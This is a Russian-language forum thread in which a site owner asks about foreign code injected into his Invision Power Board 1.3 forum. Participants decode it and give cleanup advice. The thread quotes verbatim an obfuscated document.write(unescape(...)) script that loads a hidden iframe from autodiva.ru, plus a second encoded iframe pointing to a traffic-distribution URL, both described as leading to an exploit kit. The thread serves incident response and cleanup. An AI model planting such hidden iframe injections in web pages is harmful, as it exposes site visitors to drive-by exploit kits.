Не пойму как размещен чужой код в моих файлах

Адрес форума тут ничем не поможет. Вредоносный код нужно ловить где-то в шаблонах. А как вы определили, что "нигде в файлах форума такого кода нет"?

Мда, в лаборатории касперского по ходу совсем идиоты сидят..

Киньте в личку пожалуйста весь JS, попробую декодировать и посмотреть, что там.

Но больше чем уверен, что там фрейм на станицу со связкой :)

UPD: Хотя не надо, хоть чуть-чуть погуглите, этот код уже ни раз в инете обсуждался ;)

Запусти по исходникам и всему текстовому материалу поиск внутри файла, и так же если есть БД, то и по ней выполни поиск.

seraphim, полнотекстовым поиском по всем файлам форума. Я искал именно данный текст, который вставлен в страницы форума. Видимо не все так просто.

Say What?, отправил, правда, суть кода - мне не так уж и важна, но буду благодарен за любую помощь :)

<script language='javascript'>
document.write(unescape('%3C%69%66%72%61%6D%65%0A%73%72%63%3D%22%68%74%74%70%3A%2F%2F%61%75%74%6F%64%69%76%61%2E%72%75%2F%31%2E%68%74%6D%6C%22%20%68%65%69%67%68%74%3D%22%30%22%20%77%69%64%74%68%3D%22%30%22%20%6E%61%6D%65%3D%22%31%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%69%64%3D%22%31%22%20%2F%3E%3C%2F%69%66%72%61%6D%65%3E'));
</script>

создаём html документ, пишем в нём:

<script>
alert(unescape('%3C%69%66%72%61%6D%65%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%62%6F%72%64%65%72%3D%30%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%63%61%6E%65%64%2E%69%6E%66%6F%2F%74%64%73%2F%69%6E%2E%63%67%69%3F%32%22%3E%3C%2F%69%66%72%61%6D%65%3E'));
</script>

Открываем этот документ в браузере и получаем алерт с текстом:

Как и думал, зашифрованный iframe на связку сплоитов.

Проверьте код движка или шаблона вашего форума и удалите этот JS. Смените пароли на хостинге, фтп и т.д. и попробуйте поискать шелл у себя на сервере :) Ну и подумайте как вас могли взломать, то ли это где то уязвимость в форуме или сторонних движках установленных на вашем сервере, то ли был задействован реверс ip, ну и как вариант получили ваши пароли.

Удачи!

MJay, это реально может быть в БД записано? Попробую сегодня поискать в БД.

Say What?, как сломали знаю, шелл удалил. Не пойму какой код искать и где именно. В этом и проблема.

Нужно посмотреть, как движок собирает страницу. Вполне возможно, что этот код тянется из базы.

А код - это действительно ифрейм. Та часть вначале под анэскейпом, которую вы привели без купюр, расшифровалась так:

<iframe src="http://autodiva.ru/1.html"

Что за движок у форума?

seraphim, ипб 1.3

Под Invision Power Board v1.3 Final давно уже сплоит есть с которым каждый школьник сможет разобраться :)

Я бы обновился)

Say What, оффтоп: в булке исправлять гораздо легче, чем в ипб. К слову об этом: http://s47.radikal.ru/i117/1005/b3/678704b4890d.jpg

автору темы:

скачайте дистрибутив (чистый) этой версии и сверьте файлы по размерам

посмотрите время изменения файлов

ищите в мускуле по шаблонам, используя like '%3C%69%66%72%61%6D%'